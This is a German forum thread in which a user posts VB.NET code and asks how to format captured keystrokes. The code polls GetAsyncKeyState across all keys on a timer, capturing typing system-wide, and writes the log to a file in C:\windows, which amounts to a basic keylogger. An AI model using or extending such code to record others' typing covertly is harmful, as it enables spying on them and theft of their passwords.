Zeichen bei Tastendrücke einfügen

  • Themenstarter Themenstarter hsdfowr2z2
  • Beginndatum Beginndatum
H

hsdfowr2z2

Hallo,

Also in meinem Prog muss ich Tastendrücke an bestimmten Stellen abfangen, um die Benutzereingaben zu verarbeiten.

Also schnell gemacht, nur habe ich das Problem, dass ich zwischen den Tastendrücken Strich-Punkt haben möchte. D.h. dass nach einem Tastendrück ; kommt und ohne Leereichen weiter aufgezeichnet wird.

Zudem möchte ich die Tastendrücke im txt Dokumente, welches ich später in einer anderen Textbox ausgeben werde, ganz einfach mit einem Leerzeichen trennen und nicht mit einer neuen Zeile,...

Wie mache ich das

Mein Code:

Public Class Form1


Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Dim AsciiCode As Integer
Dim Taste As Integer

Private Sub Timer1_Tick(ByVal sender As Object, ByVal e As System.EventArgs) Handles Timer1.Tick
For i = 1 To 255
Taste = GetAsyncKeyState(i)

If Taste = -32767 Then
Me.TextBox1.Text = Me.TextBox1.Text & (i)
End If
Next
End Sub


Private Sub Timer2_Tick(ByVal sender As Object, ByVal e As System.EventArgs) Handles Timer2.Tick

My.Computer.FileSystem.WriteAllText("C:\windows\bloggs.txt", TextBox1.Text, False)


End Sub

Private Sub Form1_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load


End Sub
End Class
 
Benutze das KeyDown oder KeyPress-Event. Mit einem Timer kann es dir passieren, dass du nicht alle Tastenänderungen mitbekommst!
 
Zurück